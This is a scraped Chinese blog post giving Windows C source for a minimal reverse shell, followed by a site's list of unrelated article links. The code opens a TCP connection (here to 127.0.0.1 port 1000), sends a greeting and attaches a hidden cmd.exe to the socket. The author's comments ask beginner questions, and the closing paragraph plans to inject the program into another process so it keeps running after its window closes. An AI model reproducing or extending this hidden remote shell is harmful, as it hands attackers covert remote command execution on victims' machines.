最简单的cmd_8.19
来源:互联网 发布:每天工作记录软件 编辑:程序博客网 时间:2024/06/07 02:25
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
int cmdshell(SOCKET s)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);//为什么把这句话注释掉,整个程序就只会显示main函数中的字符,而不会出现cmdshell???
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE; //这个参数可以变化!!!自己试试
si.hStdInput=si.hStdOutput=si.hStdError=(void*)s; //(void*)s是什么意思?强制转换?
char path[512];
GetSystemDirectory(path,sizeof(path));
strcat(path,"//cmd.exe");
int rev;
rev=CreateProcess(NULL,path,NULL,NULL,1,0,NULL,NULL,&si,&pi);
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(pi.hProcess);
return 0;
}
int main(int argc,char* argv[])
{
WSADATA wsaData;
if ( 0 !=WSAStartup( MAKEWORD( 2, 2 ), &wsaData )) {
return 1;
}
if ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 2 ) {
WSACleanup( );
return 1;
}
SOCKET s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
if (INVALID_SOCKET==s)
{
printf("Socket is error!/n");
WSACleanup();
return 1;
}
sockaddr_in sAddr;
sAddr.sin_family=AF_INET;
sAddr.sin_port=htons(1000);
sAddr.sin_addr.S_un.S_addr= inet_addr("127.0.0.1");
int rev=connect(s,(SOCKADDR*) &sAddr,sizeof(sAddr));
if (SOCKET_ERROR==rev)
{
printf("Connect is error!/n");
closesocket(s);
WSACleanup();
return 1;
}
char buf[512]="欢迎使用这个小东西!/n";
rev=send(s,buf,strlen(buf),0);
if (SOCKET_ERROR==rev)
{
printf("send() failed with error: %d/n", WSAGetLastError());
closesocket(s);
WSACleanup();
return 1;
}
cmdshell(s);
closesocket(s);
WSACleanup(); //加了这两句,窗口退出的时候会自动关闭窗口!!
return 0;
}
//为什么将cmdshell与main顺序换一下,就会有乱码产生?????
另外,在解决上面问题的基础上,这个代码目前还需要做如下的完善:要插入其他进程,否则,1:直接执行这个程序后关闭窗口,2:在命令行下运行这个程序,然后退出命令行。在上面两种情况下,这个程序会自己主动结束,下一步要搞定这个东西。
- 最简单的cmd_8.19
- 最简单的cmd_8.22
- 最简单的留言板
- 最简单的makefile
- 最简单的多线程
- 最简单的时间
- 最简单的j2eeWEB
- 最简单的Javascript
- 最简单的JNI
- 最简单的ocx
- 最简单的饭
- 最简单的makefile
- 最简单的重载
- 最简单的ajax
- 最简单的程序
- 最简单的main
- 最简单的Struts
- 最简单的ORM
- Intel要大搞安全 将以76.8亿美元收购McAfee
- [C#] 讀取Cookie(ASP.NET)
- 几个布局复用相同的部分
- 人工智能算法—决策树
- 人工智能算法—决策树
- 最简单的cmd_8.19
- JBPM4项目和tomcat6.0的兼容问题
- 面试题(循环链表)
- 2010年8月19号
- hdu1231 最大子序列
- C++著名程序库
- ORA-12514:TNS:监听程序当前无法识别连接描述符中请求的服务
- 6款jQuery图表插件
- EVC 下控件